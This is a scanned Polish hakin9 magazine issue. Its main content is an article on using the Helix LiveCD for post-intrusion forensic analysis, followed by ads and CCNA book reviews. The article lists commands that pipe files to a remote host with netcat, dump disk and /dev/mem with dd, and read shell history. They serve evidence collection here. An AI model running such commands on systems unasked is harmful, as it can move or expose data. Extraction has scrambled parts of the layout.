komputerowych. Istnieje specjalistyczne
oprogramowanie służące zbieraniu danych
o przestępstwie oraz pozwalające na do-
głębną analizę zdobytych informacji i wła-
ściwe zabezpieczenie ich w celu później-
szego wykorzystania jako dowody w spra-
wach sądowych. Jedną z firm produkują-
cych takie oprogramowanie jest AccessDa-
ta. Niestety oprogramowanie nie należy do
tanich, produkt Forensic Toolkit kosztuje bli-
sko 5.000 złotych. Guidance Software to ko-
lejna firma, która produkuje oprogramowa-
nie do przeprowadzania śledztw informa-
tycznych. Cała gama programów EnCase
tej firmy, a także Field Intelligence Model
(który jest dostępny tylko dla organów ści-
gania) są jeszcze droższe, a ich ceny są ne-
gocjowane dla każdej kupującej je instytu-
cji. W przypadku małych firm wydanie du-
żej kwoty pieniędzy na oprogramowanie
w celu wykrycia przestępstwa dokonanego
w ich systemie informatycznym może oka-
zać się zbyt dużym wydatkiem w porównaniu
z ewentualnymi stratami wynikającymi z ta-

kiego przestępstwa. Sytuacja małych firm
oraz osób fizycznych nie jest jednak bezna-
dziejna, ponieważ istnieją podobne aplikacje
na licencji OpenSource. Mało tego, występu-
ją w formie na przykład uruchamianej bezpo-
średnio płyty CD. Przykładami takich zesta-
wów narzędzi są Snarl – bootowalny system
FreeBSD, INSERT czy F.I.R.E., opisywany
w marcowym numerze hakin9 w roku 2004.
W tym artykule chciałbym przybliżyć dzie-
ło firmy E-fense, jakim jest Helix. To system,
który jest używany przez liczne centra szko-
leniowe kształcące specjalistów w dziedzi-
nie informatyki śledczej.

Helix – analiza

powłamaniowa

Grzegorz Błoński

stopień trudności

Wszyscy zdajemy sobie sprawę, iż coraz więcej przestępstw ma

miejsce w systemach informatycznych firm, a nawet

w prywatnych komputerach zwykłych obywateli. Z pewnością nie

wszyscy są świadomi faktu, że można takie przestępstwo wykryć

i zabezpieczyć ślady po incydencie w taki sposób, aby były

ważnym dowodem.

Z artykułu dowiesz się

• poznasz darmowe narzędzia do analizy powła-

maniowej,

• poznasz schemat działania podczas analizy

powłamaniowej.

Co powinieneś wiedzieć

• znać Linuksa,
• umieć pracować w konsoli tekstowej Linuksa.

background image

Helix – analiza powłamaniowa

hakin9 Nr 2/2008

www.hakin9.org

65

Helix LiveCD – opis

Dystrybucja Helix to zestaw na-
rzędzi przydatnych w analizie
powłamaniowej systemów informa-
tycznych, a także podczas prowa-
dzenia dochodzenia w przestęp-
stwach komputerowych. Jej przy-
datność jest bardzo duża, a atutem
Heliksa jest fakt, iż jest on całko-
wicie darmowy. To bardzo ważne,
bo choć narzędzia komercyjne są
w niektórych przypadkach nie-
co lepsze, to możliwość używa-
nia Heliksa za darmo pozwala ob-
niżyć koszty, jakie pociąga za so-
bą konieczność używania tego typu
narzędzi. Wymagania sprzętowe
dla Heliksa nie są zbyt wygórowa-
ne. Do pracy w konsoli wystarczy
procesor x86 oraz 48 MB pamię-
ci operacyjnej. Aby móc korzystać
z interfejsu graficznego bazujące-
go na menadżerze okien XFWM
z graficznym pulpitem XFCE, w któ-
ry jest wyposażony Helix, potrzeba
już co najmniej procesora Pentium
i 128 MB pamięci RAM. Uruchomio-
ny z płyty CD system pracuje płyn-
nie już przy 256 MB RAM i proce-
sorze Pentium II 300 MHz. Istnie-
je możliwość zapisania konfiguracji
systemu na zewnętrznym nośniku
(Floppy, USB, CD), a także opcja
utworzenia dyskietek startowych.
Oczywiście można zainstalować
Heliksa na dysku twardym wyko-
rzystując skrypt knx2hd, ale wersja
bootowalna z płyty CD jest o wiele
bardziej elastyczna w użytkowaniu.
Oprócz możliwości pracy z pozio-
mu Heliksa, na płycie znajdują się
pliki umożliwiające uruchamianie
narzędzi w systemie Solaris x86.
Dostępna jest też możliwość pra-

cy w środowisku Windows. Po wło-
żeniu płyty do napędu automatycz-
nie startuje menu Heliksa, co widać
na Rysunku 1.

Po wybraniu i zaakceptowaniu

języka (niestety, nie ma polskie-
go) w oknie ukazuje się menu wy-
boru narzędzi, z których chcemy
korzystać. Bardzo dobrym przy-
kładem wykorzystania Heliksa
w systemie Windows jest potrze-
ba wykonania obrazu zawartości
pamięci operacyjnej w przypad-
ku, gdy podejrzewamy, iż system
został zaatakowany przez hakera.
Restart komputera i uruchomienie
Heliksa spowodowałoby utracenie
zawartości

pamięci

operacyj-

nej jednak wystartowanie Helik-
sa w środowisku Windows pozwo-
li na przygotowanie nie tylko ob-
razu zawartości pamięci operacyj-
nej, ale także wszystkich partycji
dyskowych. Na wykonanych obra-
zach można bez większego trudu
prowadzić analizę oraz szukać śla-
dów pozostawionych przez hakera.
W skład narzędzi dostępnych
w darmowej dystrybucji Helix wcho-
dzą typowe narzędzia do prowadze-
nia dochodzenia, między innymi ta-
kie, jak SleuthKit wraz z webowym
interfejsem Autopsy, Linen, AIR czy
pyFLAG oraz wiele innych przydat-
nych aplikacji. Postaram się przy-
bliżyć Czytelnikom możliwości tego

zestawu narzędzi i jednocześnie za-
chęcić do jego używania.

Mimo tego że przeznaczenie

Heliksa jest raczej jednoznacz-
nie określone przez autorów, uwa-
żam, że doskonale nadaje się on
nawet do takich prac jak chociaż-
by wykonanie kopii zapasowej za-
wartości dysku czy jako płyta ra-
tunkowa w przypadku problemów
z systemem. Helix zawiera bo-
wiem między innymi narzędzie do
przeglądania rejestru Windows,
a także inne aplikacje możliwe do
wykorzystania zarówno w syste-
mach linuksowych, jak i window-
sowych. Aby dokonać przeszu-
kania zawartości dysku w nadziei
znalezienia śladów przestępstwa,
nie narażając jednocześnie bada-
nego dysku na dokonanie jakiej-
kolwiek zmiany w jego zawartości
podczas takich działań, nie operu-
je się na żywym dysku, tylko na je-
go obrazie. Helix jest wyposażo-
ny w narzędzia pozwalające na
wykonanie takich obrazów na ze-
wnętrznych dyskach USB lub Fi-
reWire. Jest także możliwość wy-
konania obrazu dysku na stre-
amerze oraz przy wykorzystaniu
sieci na zdalnym komputerze, co
w niektórych przypadkach może
być bardzo przydatne. Sam Helix
nie montuje automatycznie żad-
nych dysków dostępnych w sys-

Rysunek 1.

Helix uruchamiany z

poziomu Windows

Rysunek 2.

Widok uruchomionego systemu Helix Live

background image

hakin9 Nr 2/2008

www.hakin9.org

Obrona

66

temie, w którym jest uruchamiany
– właśnie ze względu na możliwe
przypadkowe wprowadzenie zmian
w strukturze zawartości dysku.

Aby wykonać obraz dysku,

który później będziemy badać,
musimy skorzystać z narzędzi,
które nam to umożliwią. Do dyspo-
zycji mamy standardowy program
dd działający w konsoli lub też gra-
ficzną nakładkę na to narzędzie
– czyli Adepto.

dd jest doskonałym narzędziem

do wykonania obrazu dysku – wy-
konuje to zadanie dość szybko,
a wynik jest wierną kopią (tak zwa-
nym bitstreamem) tego, co znajdu-
je się faktycznie na dysku; przeno-
si także uszkodzone pliki czy na-
wet błędy systemu plików. Na pły-
cie znajduje się również ulepszo-
na wersja dd: sdd (Specialized
dd)
, która dzięki nowym algoryt-
mom pracuje znacznie szybciej.
Kolejnym znajdującym się w ze-
stawie narzędzi interfejsem gra-
ficznym dla dd jest AIR. Jego uży-
wanie nie powinno sprawiać kłopo-
tów, ponieważ program jest bardzo
prosty, a jego obsługa – niezwykle
wygodna.

Po wykonaniu obrazu zawarto-

ści badanego dysku możemy przy-
stąpić do analizy jego zawarto-
ści w poszukiwaniu śladów prze-

stępstwa, ukrytych plików czy in-
nych elementów ważnych dla pro-
wadzonego dochodzenia. Jest to
także doskonały moment do ana-
lizy logów systemowych (bez ich
fizycznego naruszania) po ata-
ku wykonanym na dany system
w celu uzyskania maksymalnej ilo-
ści informacji na temat rodzaju ata-
ku, drogi jaką został przeprowadzo-
ny, a także znalezienia ewentual-
nych śladów pozostawionych przez
hakera mogących pomóc w ustale-

niu źródła ataku. W zestawie narzę-
dzi znalazł się także program wy-
mienionej wcześniej firmy produku-
jącej oprogramowanie wykorzysty-
wane przez policje na całym świecie
do wykrywania przestępstw kompu-
terowych Guidance Software o na-
zwie LinEn, służący także do wyko-
nywania obrazu dysku.

Retriever to z kolei narzędzie

pozwalające na wyszukiwanie
i przeglądanie poszczególnych
plików. Program potrafi wyszuki-
wać pliki dokumentów w najbar-
dziej popularnych formatach, pli-
ki graficzne (także w kilku forma-
tach), pliki wideo, a także pliki wia-
domości email. Narzędzie posiada
intuicyjny interfejs i jest wygodne
w użyciu.

Bardzo potężnego kalibru jest

kolejne obecne w Heliksie narzę-
dzie – SleuthKit wraz z graficznym
(Web) interfejsem Autopsy. Pro-
gram potrafi naprawdę dużo – po-
cząwszy od przeszukiwania dys-
ku w poszukiwaniu skasowanych
plików, po odnajdywanie danych
ukrytych w obszarach ADS (Al-
ternate Data Streams)
, które wy-
stępują w systemie plików NTFS.
To imponująca aplikacja, warta po-
znania i używania.

Analiza powłamaniowa to waż-

ny element obrony przed kolejnymi

Rysunek 3.

Uruchomiony Adepto – GUI dla DiskDump

Rysunek 4.

Okno programu AIR

background image

Helix – analiza powłamaniowa

hakin9 Nr 2/2008

www.hakin9.org

67

atakami. Tu przychodzi nam z po-
mocą program pyFLAG – Foren-
sic and Log Analysis Gui
. Posia-
da również graficzny (Web) inter-
fejs podobnie jak Autopsy, jednak
wyróżnia się na korzyść dodatko-
wymi funkcjami, których nie ma to
pierwsze narzędzie. Są to przeglą-
danie logów systemu oraz analiza
zawartości rejestru systemowego
Windows. Program posiada rów-
nież funkcje przeszukiwania śla-
dów ataku w plikach aplikacji sie-
ciowych, a także w plikach prze-
chwyconych pakietów TCP/IP.

Do przeglądania rejestru syste-

mu Windows jest jeszcze na pły-
cie program Regviewer oraz przy-
datny do analizy zawartości plików
edytor szesnastkowy Ghex.

Schemat działania

analizy przestępstwa

Przykładowy schemat działania
podczas zbierania dowodów prze-
stępstwa obrazuje podstawowe
czynności, które należy wykonać w
celu sprawnego i skutecznego zna-
lezienia i zabezpieczenia we wła-
ściwy sposób śladów działalno-
ści hakera w skompromitowanym
systemie. Poszczególne czynności
oczywiście wykonuje się w miarę
potrzeb i podejrzeń co do rodzaju
ataku oraz potencjalnych szans na
znalezienie dowodów, niemniej jed-
nak warto zrobić kilka kroków wię-
cej i mieć pewność, że uczyniło się
wszystko, aby zdobyć jak najwięcej
informacji. Schemat opiera się na
standardowej metodologii składa-
jącej się z czterech etapów: iden-
tyfikacji, zbierania danych, analizy
i prezentacji wyników.

Inspekcja online

W pierwszym etapie zajmujemy się
identyfikowaniem systemu z jakim
będziemy pracować, zbieramy in-
formacje na temat rodzaju dysków,
wielkości partycji, systemów plików
wykorzystanych w systemie – po
to, aby umieć określić, jakiego ro-
dzaju nośnika musimy użyć do wy-
konania obrazu zawartości dysków
na późniejszym etapie. W związku
z tym, że nie można ufać żadnemu

programowi na komputerze, na któ-
rym istnieje podejrzenie kompromi-
tacji (ponieważ może na nim praco-
wać jakiś program typu koń trojański
lub inny, który może powodować nie-
prawidłowe działanie aplikacji), nale-
ży używać wyłącznie oprogramowa-
nia na nośnikach takich, jak dyskiet-
ka czy płyta CD/DVD. W trakcie te-
go etapu prac warto wykonać poniż-
sze czynności:

• wykonać kopie danych na no-

śniku zewnętrznym w celu dal-

szej analizy programami Adepto,
Air,LinEn lub używając polece-
nia kopiowania z przełącznikiem
p dla zachowania atrybutów pliku
oraz właściciela i grupy:

cp -rp katalog_źródłowy katalog_

docelowy

• lub na komputerze zdalnym uży-

wając polecenia

netcat

:

komputer docelowy:

nc -p 1234 -l

> plik _ docelowy

Rysunek 5.

LinEn przed wykonaniem obrazu zawartości dysku

Rysunek 6.

Retriever w pełnej krasie

background image

hakin9 Nr 2/2008

www.hakin9.org

Obrona

68

komputer źródłowy:

cat data |nc

-w 3 komputer _ docelowy 1234

• lub wykonać obraz dysku/partycji

używając polecenia

dd

:

dd if=/dev/dysk _ źródłowy of=/

dev/dysk _ docelowy

• wykonać obraz zawartości pa-

mięci operacyjnej w celu jak
wyżej używając na przykład po-
lecenia

dd

:

dd if= /dev/mem of=plik _ z _

zawartością _ pamięci

• zbadać uruchomione procesy

przy pomocy na przykład polece-
nia

ps

:

ps

auxeww

, które wyświetli

wszystkie uruchomione proce-
sy (uwaga – może to być bardzo
długa lista procesów, w zależ-
ności od ilości uruchomionych
programów/usług)

• przejrzeć adresy uruchomionych

w pamięci procesów – także przy
pomocy komendy

ps

:

ps -ealf

• przejrzeć otwarte pliki przy

użyciu na przykład polecenia

lsof

:

lsof

bez parametrów – dla wy-

świetlenia plików otwartych
przez wszystkie działające pro-
cesy

lsof -s numer _ pid _ procesu

– dla wyświetlenia plików kon-
kretnego procesu;

• wyświetlić wywołania bibliotek

dla konkretnego procesu pole-
ceniem

ltrace

:

ltrace -p numer _ pid _ procesu

• wyświetlić wywołania systemowe

poleceniem

strace

:

strace -p numer _ pid _ procesu

• zebrać informacje o połącze-

niach sieciowych z użyciem

netstat

:

netstat -a

• sprawdzić konkretny host, któ-

rego adres IP wydaje się podej-
rzany – przy pomocy narzędzia

traceroute

:

traceroute adres _ IP

• znalezienie adresu sprzętowego

MAC z użyciem polecenia

arp

:

• arp adres _ ip

– dla wyświe-

tlenia adresu MAC dla kon-
kretnego adresu IP;

• arp -a

– dla wyświetle-

nia MAC dla wszystkich adre-
sów znajdujących się w tabli-
cy arp;

• zrzut do pliku ruchu sieciowego

– przy pomocy tcpdump lub inne-
go narzędzia:

tcpdump -w zrzucany _ plik

• wyświetlenie pliku historii konso-

li poleceniem cat w celu przejrze-
nia ostatnio wykonywanych ope-
racji:

cat .bash _ history

Na tym etapie możemy zakończyć
pracę z aktywnym połączeniem

Rysunek 7.

Autopsy – webowy interfejs użytkownika

Rysunek 8.

pyFLAG przed skanowaniem systemu plików

background image

Helix – analiza powłamaniowa

hakin9 Nr 2/2008

www.hakin9.org

69

z siecią. Następne kroki należy wy-
konywać bez połączenia z siecią.

Inspekcja offline

W tej części prac odłączamy podej-
rzany o skompromitowanie kompu-
ter od sieci i dokonujemy sprawdze-
nia systemu pod kątem pozostawio-
nych śladów, których nie zatarł ata-
kujący. Uruchamiamy w tym celu
komputer używając płyty z syste-
mem Helix. System po uruchomieniu
nie montuje dysków, które obecne są
w komputerze (i tak ma być), musimy
je ręcznie zamontować w trybie tyl-
ko do odczytu, aby nie zmienić przez
przypadek zawartości znajdujących
się na nich plików. Po zamontowa-
niu dysków dokonujemy analizy ich
zawartości przy użyciu narzędzi do-
stępnych w Heliksie.

Wykonujemy następujące czyn-

ności:

• przeglądamy logi systemowe

z naciskiem na wymienione:

/var/log/messages

/var/log/secure

/var/log/maillog

/var/log/spooler

/var/log/boot.log

• sprawdzamy system pod ką-

tem obecności wirusów, na pły-
cie Heliksa mamy do dyspozy-
cji programy antywirusowe takie
jak ClamAV oraz F-Prot,

• sprawdzamy system pod kątem

obecności programów typu root-
kit dostępnymi na płycie narzę-
dziami służącymi do tego celu
– czyli chkrootkit lub rkhunter,

• poszukujemy

podejrzanych

nazw katalogów i plików, w któ-
rych atakujący mógł pozostawić
po sobie ślady.

Poszukiwanie, odzyskiwanie

i analiza usuniętych plików

Haker po dokonaniu ataku stara się
zacierać maksymalną ilość śladów
swojej obecności, co z jego punk-
tu widzenia jest oczywiste – ma go
uchronić przed odpowiedzialnością
za popełniony czyn. Jednak nie każ-
dy haker usuwa ślady w taki sposób,
że nie można ich później znaleźć al-
bo odtworzyć.

Ekran 9.

Ghex – edytor szesnastkowy

Listing 1.

Fragment raportu z programu Autopsy na temat znalezionego

pliku, skasowanego przez intruza

Autopsy

hex

Fragment

Report

GENERAL

INFORMATION

Fragment

:

1975303

Fragment

Size

:

1024

Pointed

to

by

Inode

:

247490

Pointed

to

by

files

:

MD5

of

raw

Fragment

:

50

eafe45b193997dcca00dadae19ee6d

MD5

of

hex

output

:

2

ee4dff15a6f3254519c448e5867f5d5

Image

:

'/home/knoppix/pyflag/evidence/sledztwo1/host1/images/hda5-img.dd.000'

Offset

:

Full

image

File

System

Type

:

ext

Date

Generated

:

Wed

Nov

14

21

:

32

:

42

2007

Investigator

:

unknown

CONTENT

0

2

f766172

2

f6c6f67

2

f746f72

2

f2a2e6c

/

var

/l

og

/t

or

/*

.

l

16

6

f67207b

0

a202020

20202020

20646169

og

{ . dai

32 6c790a20 20202020 20202072 6f746174 ly. r otat
48 6520350a 20202020 20202020 636f6d70 e 5. comp
64 72657373 0a202020 20202020 2064656c ress . del
80 6179636f 6d707265 73730a20 20202020 ayco mpre ss.
96 2020206d 69737369 6e676f6b 0a202020 m issi ngok .
112 20202020 206e6f74 6966656d 7074790a not ifem pty.
128 20202020 20202020 73686172 65647363 shar edsc
144 72697074 730a2020 20202020 2020706f ript s. po
160 7374726f 74617465 0a202020 20202020 stro tate .
176 20202020 20202020 20736572 76696365 ser vice
192 20746f72 2072656c 6f616420 3e202f64 tor rel oad > /d
208 65762f6e 756c6c0a 20202020 20202020 ev/n ull.
224 656e6473 63726970 740a7d0a 00000000 ends crip t.}

. ....

240

00000000

00000000

00000000

00000000

.... .... .... ....

.
.
.

1008

00000000

00000000

00000000

00000000

VERSION

INFORMATION

Autopsy

Version

:

2.08

The

Sleuth

Kit

Version

:

2.09

background image

hakin9 Nr 2/2008

www.hakin9.org

Obrona

70

I tu jest pole do popisu dla specjali-

sty zajmującego się analizą powłama-
niową, który może spróbować wykryć
pozostawione ślady lub odzyskać pliki,
które zostały usunięte, a mogą zawie-
rać jakiekolwiek ślady przestępstwa.

Do poszukiwania plików można

użyć SleuthKit w konsoli, ale zde-
cydowanie wygodniej i sprawniej
będzie to robić korzystając z gra-
ficznego interfejsu Autopsy.

Do odzyskiwania danych z par-

tycji ext2 w przypadku Linuksa mo-
żemy wykorzystać narzędzie e2re-
cover, pracuje ono w konsoli, a jego
obsługa nie jest trudna, więc każdy
powinien sobie poradzić. Co zrobić
z odzyskanymi plikami? Oczywiście
przeanalizować pod kątem zawar-
tych w nich ewentualnych informacji,
które chciał usunąć haker zacierając
ślady po swojej działalności.

Hakerzy zacierają ślady w róż-

ny sposób, wykorzystują do tego
celu na przykład rootkity, zmienia-
ją sumy kontrolne plików, w których
ukrywają rootkity, kasują zawartość
logów systemowych, używają do ata-
ku kont użytkowników, których hasła
dostępu udało im się uzyskać przed
atakiem przy pomocy snifferów – tak,
aby skierować podejrzenie na właści-
cieli tych kont.

Zapis materiału dowodowego

Sam fakt wykonania obrazu dysku
czy partycji, już przed przystąpie-
niem do analizy danych jest zapew-
nieniem, iż taki obraz i znalezione
w nim ślady ataku mogą stanowić
dowód w sprawie sądowej. W zapi-
sanym obrazie znajdują się bowiem
informacje na temat dat utworzenia
i modyfikacji plików, praw własno-
ści i cała masa innych informacji,
które nie zostaną zmienione, jeśli
będziemy z takim obrazem syste-
mu pracować podczas analizy tyl-
ko i wyłącznie w trybie do odczytu.
Znalezione informacje, odpowied-
nio spreparowane w postaci plików
czy też wydruków, mogą stanowić
materiał, który można przedsta-
wić na sali sądowej – a obraz dys-
ku w niezmienionej formie może
być przekazany biegłym sądowym
w celu weryfikacji.

W treści raportu przedstawionego

na Listingu 1. zawarte są między inny-
mi informacje na temat rozmiaru pliku
i jego położenia na dysku, przedsta-
wiona jest także jego zawartość w po-
staci szesnastkowej. Jest to tylko frag-
ment dotyczący jednego pliku – cały
raport z programu Autopsy może być
bardzo obszerny, więc trudno byłoby
go tu przedstawić.

Oczywiście istnieje wiele in-

nych, bardziej skomplikowanych
schematów działania podczas ana-
lizy powłamaniowej, które są wy-
korzystywane przez specjalistycz-
ne firmy zajmujące się tymi zagad-
nieniami, lecz celem artykułu by-
ło przedstawienie możliwie prostej
metodologii nadającej się do wy-
korzystania przez każdego w jego
własnym komputerze.

Podsumowanie

Jak można się przekonać po prze-
czytaniu tego artykułu, analiza po-
włamaniowa – mimo tego, iż jest
to zadanie bardzo trudne, czaso-
chłonne i wymagające dużej wie-
dzy oraz cierpliwości podczas jego
wykonywania – nie musi być nie-
możliwa do wykonania.

Oczywiście przebyte szkole-

nia w tej materii czy też wieloletnie
doświadczenie na pewno pozwala
na w pełni profesjonalne wykona-
nie takiej analizy, a certyfikaty po-

twierdzające wiedzę osoby ją wy-
konującej zwiększają szanse, iż jej
wyniki zostaną dopuszczone jako
materiał dowodowy.

Jednak w przypadku osób, któ-

rym zależy na zdobyciu wiedzy w ta-
kim zakresie, aby móc wykonać to
zadanie na własne potrzeby – z chę-
ci zabezpieczenia się przed kolejny-
mi atakami lub w celu poznania i zro-
zumienia metod ataku wykorzysty-
wanych przez hakerów – informacje,
które zawarłem w tym artykule, po-
winny być pomocne.

Należy to robić w trybie tylko

do odczytu. Wykorzystuję do te-
go celu komputer, do którego pod-
łączam dysk z zapisanym wszyst-
kim tym, co robiłem w poprzednim
etapie. Uruchamiam na tym kom-
puterze Heliksa, który po załado-
waniu daje mi możliwość korzysta-
nia z jego programów.

W związku z tym, że Helix sam

nie montuje żadnych dysków ze
względów bezpieczeństwa, musi-
my teraz sami zamontować dysk
z zebranym materiałem do anali-
zy. Wykonujemy to na przykład po-
leceniem:

mount /dev/nazwa _ urządzenia /
ścieżka _ do _ zamontowania ro

gdzie parametr

ro

określa tryb

montowania tylko do odczytu. l

O autorze

Autor, Grzegorz Błoński, z wykształcenia jest informatykiem, certyfikowanym
specjalistą IBM. Pracuje w dużej firmie o zasięgu światowym. Zajmuje się ad-
ministracją i bezpieczeństwem sieciowym. Należy do międzynarodowych or-
ganizacji ISOC oraz ISACA zajmujących się szeroko pojętym bezpieczeń-
stwem IT. Kontakt z autorem: mancymonek@mancymonek.pl

W Sieci

www.e-fense.com,
• www.guidancesoftware.com,
• www.forensictools.pl,
• http://www.porcupine.org/forensics,
• http://computer-forensics.safemode.org,
• http://www.cftt.nist.gov,
• http://www.mediarecovery.pl,
• http://www.opensourceforensics.org.

background image

CCNS

Działalność firmy skoncentrowana jest
wokół hasła zapewnienia pełnego bez-
pieczeństwa funkcjonowania Klienta
w realiach współczesnej gospodarki.
Jako Expert Partner firmy WatchGuard
Inc. oferujemy kompleksowe rozwiąza-
nia bezpieczeństwa sieci i systemów
informatycznych obejmujące nowo-
czesne urządzenia typu Unified Thre-
at Management, niezawodny serwis
i szeroki wachlarz szkoleń.

Prenumerata Pro

Media

Systems

Firma Media Systems oferuje Państwu
profesjonalny system CashBill.pl,
umożliwiający zarządzanie usługami
SMS Premium Rate w sektorze B2B
i B2C. Oferujemy również szeroki
wachlarz usług mikropłatniczych,
płatności elektronicznych oraz indywi-
dualne, dedykowane rozwiązania przy
budowie aplikacji mobilnych.

TTS Company Sp. z o.o.

Oprogramowanie komputerowe - sprze-
daż, dystrybucja oraz import na zamó-
wienie. W ofercie programy autorstwa
ponad stu firm z całego świata. Zapra-
szamy do współpracy - zostań naszym
klientem lub dostawcą.

Zepter IT

Zepter IT to dynamicznie rozwijają-
ca się firma, specjalizująca się w re-
alizacji projektów informatycznych.
Oferujemy rozwiązania dla biznesu
i zarządzania takie jak systemy ERP
czyli zarządzanie zasobami firmy, pod-
noszenie jakości i obniżanie kosztów.
Zepter IT świadczy również usługi in-
ternetowe - serwisy www, e-commer-
ce, tworzenie aplikacji internetowych
oraz systemów zarządzania treścią.

Petrosoft

Partner Microsoft Bussiness Solutions
Dynamics GP. Budowa sklepów inter-
netowych, serwisów WWW, prezentacji
multimedialnych. Budowa sieci LAN,
WAN, telekomunikacyjnych. Telefonia
stacjonarna, VoiceIP. Usługi outsor-
cingowe dla dużych firm z zakresu
informatyki i telekomunikacji. Opro-
gramowanie na zamówienia. Dostawa
serwerów, sprzętu, oprogramowania.

www.OprogramowanieKomputerowe.pl

www.ccns.pl

38-200 Jasło, ul. 3 Maja 101

Biuro: (13) 44 66 666

biuro@petrosoft.pl

www.zepterit.com

kontakt do nas:

katarzyna.juszczynska@software.com.pl

robert.gontarski@software.com.pl

tel. : 22 427 36 77

Enigma SOI

Głównym przedmiotem działalności fir-
my jest produkcja, wdrażanie i sprze-
daż systemów służących do ochrony
informacji.

• elektroniczna skrzynka podawcza
• centra certyfikacji kluczy
• podpis elektroniczny i szyfrowanie

na serwerach i stacjach klienckich

• zabezpieczanie stacji lokalnych
• karty elektroniczne i czytniki

www.enigma.com.pl

Kei.pl

Kei.pl działa na rynku usług hostin-
gowych od 2000 roku. Do naszych
zadowolonych Klientów z dumą
możemy zaliczyć wiele przedsiębiorstw
sektora MSP, instytucji oraz osób pry-
watnych. W ofercie Kei.pl znajdują się
pakiety hostingowe, a także usługi dla
wymagających Użytkowników – platfor-
my e-Biznes oraz serwery fizyczne.

http://www.kei.pl

background image

hakin9 Nr 2/2008

www.hakin9.org

72

Księgozbiór

Tytuł: CCNA semestr 1 i 2

Autor: Wendell Odom, Tom Knott / Wendell Odom, Rick McDonald

Wydawca: PWN

Rok wydania w Polsce: 2007

Liczba stron: 680/524

Najnowszy zestaw szkoleniowy przygotowujący do
zdania egzaminu CCNA składa się z czterech osobnych
książek, odpowiadających czterem semestrom Akade-
mii Cisco.

Pierwsza pozycja – otwierająca kurs – zawiera

11 rozdziałów. Rozdziały są bardzo dobrze podzielone
na grupy tematów ściśle ze sobą powiązanych. Każdy
z nich posiada logiczną strukturę, dającą się szybko
opanować i umożliwiającą intuicyjne poruszanie się
po treści. Rozdział zaczyna się od wstępu, w którym
możemy się zapoznać z jego celami, dowiadując się,
co powinniśmy mieć opanowane po przeczytaniu tej
części książki.

Dalej następuje krótki skorowidz ważnych terminów

występujących w danym rozdziale. Sama treść jest
podzielona na zwięzłe, logicznie ułożone bloki tekstu,
w treści których jest wiele zdjęć i diagramów wyjaśnia-
jących przejrzyście opisywany temat. Co jakiś czas
można napotkać na umieszczone w ramkach istot-
ne uwagi, które podpowiadają, jak w praktyce stoso-
wać omawiane zagadnienie. Równie istotne dla prosto-
ty nauki są – omówione krok po kroku – sposoby konfi-
guracji urządzeń sieciowych.

Każdy rozdział jest zakończony rzeczowym podsu-

mowaniem. Po zapoznaniu się z nim możemy dodat-
kowo sprawdzić poziom opanowania danej partii mate-
riału dzięki pytaniom kontrolnym i zadaniom praktycz-
nym. Pytania mają charakter jednokrotnego bądź wie-
lokrotnego wyboru – wszystko rodem z elektronicznej
wersji Cisco Networking Academy utrzymywanej przez
Cisco.

Różnica względem poprzedniego wydania jest

bardzo zauważalna. Rozdziały są zwięzłe i konkret-
ne, bez zbędnego lania wody, co nużyło w poprzednim
wydaniu tej serii. Autorom tym razem udało się stwo-
rzyć książkę, która bardzo dobrze wyjaśnia szereg
podstawowych zagadnień związanych z sieciami.

Zakończenie książki stanowią odpowiedzi oraz

wyjaśnienia pytań kontrolnych i zadań praktycznych.
W załączonych dodatkach znajdują się: tabela konwer-
sji wartości dziesiętnych na binarne, ćwiczenia dodat-
kowe – uzupełniające wiedzę zawartą w książce oraz
dość obszerny słowniczek wyjaśniający techniczne
pojęcia występujące we wszystkich rozdziałach.

Do książki dołączona jest płyta CD, która stano-

wi idealne jej uzupełnienie. Możemy na niej znaleźć
m. in.: symulator Packet Tracer 3.2 z szeregiem ćwi-

czeń do wykonania, interaktywne ćwiczenia systema-
tyzujące i sprawdzające naszą wiedzę oraz dodatkowe
materiały, uzupełniające tematy poruszane w książce.
W parze z poprawą merytoryczną, to właśnie rezygna-
cja z grubości książki na rzecz dodatkowych materia-
łów elektronicznych jest znaczącym atutem tego wyda-
nia, gdyż czytelnik może łatwo odróżnić i wyselekcjo-
nować materiał obowiązkowy – konieczny do zdania
CCNA – od treści poszerzających jego wiedzę.

W porównaniu do poprzednich wydań serii ksią-

żek przygotowujących do zdania egzaminu CCNA,
należy odnotować dużą poprawę zarówno pod wzglę-
dem merytorycznym, jak i pod względem przekładu
na język polski, który był dotąd piętą achillesową tych
książek.

Wydawnictwo polskie również częściej, niż to miało

miejsce we wcześniejszych wydaniach, przytacza
angielskie terminy, aby czytelnik, gdy się z nimi spotka
na egzaminie, mógł sobie bez problemu poradzić
z obcojęzycznym tekstem.

Pierwsza część książki zawiera gruntowne podło-

że dla dalszego zrozumienia zagadnień związanych
z działaniem sieci komputerowych oraz sprzętu, który
je tworzy. Dość obszernie omówione zostały technolo-
gie sieciowe stosowane w większości sieci kompute-
rowych oraz media transmisyjne. Ta pozycja przezna-
czona jest raczej dla osób nie mających pojęcia o sie-
ciach lub pragnących przypomnieć sobie absolutne ich
podstawy.

Druga część kursu zawiera niewielkie dokończenie

teorii o sieciach – rozszerzenie wiadomości o działaniu
protokołu TCP/IP oraz omówienie protokołów routin-
gu. Reszta to już tematy związane z produktami firmy
Cisco: działanie routerów Cisco, podstawowa konfi-
guracja, proste operacje i rozwiązywanie problemów
z Cisco IOS oraz wprowadzenie do list kontroli dostę-
pu (ACL).

Jan Niedźwiedź

Podziękowania

Specjalne podziękowania dla Wydawnictwa Naukowego
PWN za udostępnienie redakcji książek do recenzji.

Kontakt: www.pwn.pl

background image

hakin9 Nr 2/2008

73

Tytuł:
CCNA semestr 3 i 4

Autor: Wayne Lewis/Allan Reid

Wydawca: PWN

Rok wydania w Polsce: 2007

Liczba stron: 348 / 292

Te dwie książki to kontynuacja kursu, który ma przygotować
do zdania certyfikatu CCNA. Układ treści nie zmienił się
w porównaniu z pierwszą i drugą częścią serii. Jak poprzed-
nio, każdy rozdział składa się z wprowadzenia (cele, ważne
terminy), omówienia tematu, podsumowania, pytań kontro-
lnych oraz zadań praktycznych. Również i te części zosta-
ły okraszone sporą ilością ilustracji do omawianych tema-
tów, a także pewną ilością scenariuszy, w których możemy
zobaczyć jak to wszystko działa. W każdej chwili możemy
sięgnąć do obszernego słowniczka oraz sprawdzić odpo-
wiedzi do testów na końcu książki.

W części trzeciej opisane zostały następujące zagad-

nienia: routing bezklasowy, jednoobszarowy OSPF,
EIGRP, postawy konfiguracji przełączników Catalyst
wraz z STP, sieci VLAN oraz VTP.

Natomiast w czwartej części omówiono tematy doty-

czące sieci WAN. Na początek opisane zostało ska-
